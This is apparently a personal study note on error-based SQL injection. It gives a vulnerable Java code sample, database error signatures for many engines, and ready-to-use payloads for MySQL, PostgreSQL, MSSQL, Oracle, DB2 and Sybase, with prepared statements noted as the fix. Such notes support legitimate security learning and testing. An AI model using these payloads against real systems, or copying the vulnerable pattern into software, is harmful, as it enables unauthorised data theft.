🧠 SQLi - Error-based

Theory

What is it? Concept: A technique used when the application does not directly reflect the results of a query, but does display verbose database error messages to the user (meaning it is the raw error message instead of a custom one). The attacker uses specific SQL functions to intentionally trigger an error that contains the exfiltrated data within the error message itself. Example vulnerable code in the back-end:

// Vulnerable: Catching a SQL exception and printing the raw error message to the user. 
String userId = request.getParameter("id"); 
String query = "SELECT username, email FROM users WHERE id = " + userId; 
try { 
  Statement statement = connection.createStatement(); 
  ResultSet resultSet = statement.executeQuery(query); 
  // ... normal processing ... 
} 
catch (SQLException e) { 
  // The flaw: Leaking the database's internal error description to the HTTP response 
  out.println("Database Error occurred: " + e.getMessage()); 
}

---

How it works The attacker injects a subquery (e.g., SELECT password FROM users) inside a function that expects a specific data format, like an XML parser or a type converter. The database executes the subquery first to grab the secret data, then feeds that secret data into the function. Because the secret data is not valid XML (or not a valid integer), the function crashes and prints out the data it was given as part of its complaint.

Exploitation

Prerequisites:

• The application must be vulnerable to SQL injection.
• The application MUST display verbose database error messages in the HTTP response.
• Unlike UNION-based, you do not need to match column counts or data types.

Error-based SQLi is highly versatile and can be implemented in almost any context, as long as the query executes:

• SQLi Context - WHERE and HAVING

• SQLi Context - ORDER BY

• SQLi Context - INSERT and UPDATE

• SQLi Context - LIKE (wildcards)

• SQLi Context - IN

Attack Vectors

Because error functions are highly specific to the Database Management System (DBMS), payloads vary wildly between database engines.

Step 1: We need to break the syntax to confirm that the raw error messages are reflected (e.g. inject a single ', ", \, ') or ")). The expected messages would be:

• MySQL: You have an error in your SQL syntax near...
• MSSQL: Unclosed quotation mark after the character string...
• PostgreSQL: Query failed: ERROR: syntax error at or near...
• Java/JDBC: java.sql.SQLException...
• PHP: Warning: mysql_fetch_array() expects parameter 1 to be resource...
• Oracle: ORA-01756: quoted string not properly terminated
• SQLite: near "...": syntax error
• Microsoft Access: Syntax error in string in query expression...
• MariaDB: You have an error in your SQL syntax... check the manual that corresponds to your MariaDB server version
• IBM DB2: SQLCODE=-104, SQLSTATE=42601, DRIVER=...
• Sybase: SybSQLException: Incorrect syntax near...

If the special characters are somehow filtered, try type casting (aka. using a value that that the system does not expect, e.g. ?id=5abcd) or divide by 0 error (e.g. id=5/0 or id=5/(SELECT 0))

Note: If the database is SQLite then error-based SQLi may not work since the engine does not support Error-based data exfiltration by default, pivot to SQLi - Boolean-based Blind or SQLi - Time-based Blind instead.

Step 2: Inject the engine specific payload to extract information.

-- MySQL / MariaDB (Using XML parsing errors - limited to 32 characters per output)
-- Extracting the database version
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version)))--
AND UPDATEXML(1, CONCAT(0x7e, (SELECT @@version)), 1)--
 
-- PostgreSQL (Using casting errors - trying to cast a string into an integer)
-- The error will say: "invalid input syntax for integer: 'postgres'"
AND 1=CAST((SELECT current_user) AS int)--
 
-- MSSQL (Microsoft SQL Server) (Using conversion errors)
-- The error will say: "Conversion failed when converting the varchar value 'sa' to data type int."
AND 1=CONVERT(int, (SELECT system_user))--
 
-- Oracle (Using context errors)
AND 1=(SELECT ctxsys.drithsx.sn(1, (SELECT user FROM dual)) FROM dual)--
-- Oracle (XML type conversion error)
AND 1=(SELECT TO_CHAR(XMLType('<?xml version="1.0"?><val>' || (SELECT user FROM dual) || '</val>')) FROM dual)--
-- Oracle (Using casting)
AND 1=CAST((SELECT user FROM dual) AS NUMBER)--
 
-- IBM DB2 (Using casting errors) -- Requires querying the dummy table 'sysibm.sysdummy1' 
AND 1=CAST((SELECT user FROM sysibm.sysdummy1) AS int)--
 
-- Sybase (Using conversion errors) \
AND 1=CONVERT(int, (SELECT user))--
 
-- MySQL >= 5.7.x (Using GTID_SUBSET) 
AND GTID_SUBSET(CONCAT(0x7e, (SELECT @@version), 0x7e), 1)-- 
-- MySQL (Using spatial/geometric functions) 
AND ST_LatFromGeoHash(CONCAT(0x7e, (SELECT @@version)))-- 
AND ST_PointFromGeoHash(CONCAT(0x7e, (SELECT @@version)), 1)--

Note: 0x7e is just the ~ which is just a mark to make sure that the extracted string stands out visually.

Mitigation

Fix: Use Prepared Statements

Related Usage

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC

---